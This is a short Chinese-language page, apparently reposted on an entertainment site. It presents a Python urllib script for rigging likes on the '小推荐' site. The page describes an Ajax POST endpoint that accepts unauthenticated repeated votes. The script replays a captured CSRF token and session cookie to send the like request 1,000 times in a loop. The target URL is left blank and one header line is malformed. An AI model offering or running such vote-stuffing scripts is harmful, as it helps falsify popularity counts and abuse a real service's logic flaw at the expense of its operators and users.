您好,欢迎来到二三娱乐。
搜索
您的当前位置:首页Python例子之「小推荐」站点点赞作弊

Python例子之「小推荐」站点点赞作弊

来源:二三娱乐

其点赞操作通过 Ajax 发起 POST 请求,无需账号、无需多IP、无需刷新页面可连续发起。这是一个逻辑缺陷(疑似有意而为)

小推荐 | 酷安日图
import urllib
from urllib import request

url = 
headers = {
    "Content-Type":  charset=UTF-8",
    "X-CSRF-Token": "UGhPSDZMLXoxXw5xbwhoPwY3PgpBA3kXZAF/BnUuYhJgXXcpY3piSQ==",
    "X-Requested-With": "XMLHttpRequest",
    "Cookie": "UM_distinctid=15c35eee9ff22-0669381c80c8ed-3321482e-38400-15c35eeea01171; Hm_lvt_e7e035075002bfbbfb97dd1986670572=1495553469,1495553548,1495553753; advanced-frontend=ospm873er826gbs9svca32shb5; _csrf-frontend=1c300d11bdbec17ab216ae4f690dee081a6a4859addc395d179a4ba42c5e05b0a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%22a7A9YDEEV_qBwOTm4i0NCbOh058aU6O3%22%3B%7D; CNZZDATA1261136383=168195640-1495552863-null%7C1495593396"
}
req_data = urllib.parse.urlencode({
    "slug": "ku-an-ri-tu",
    "crsfParam": "UGhPSDZMLXoxXw5xbwhoPwY3PgpBA3kXZAF/BnUuYhJgXXcpY3piSQ=="
}).encode("utf-8")
for i in range(1000):  # 1000次
    req = request.Request(url=url, headers=headers, data=req_data)
    res = request.urlopen(req)
    res_data = res.read()
    res_data = res_data.decode("utf-8")
    print(i + 1, "请求成功" in res_data)

Copyright © 2019- yule263.com 版权所有 湘ICP备2023023988号-1

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务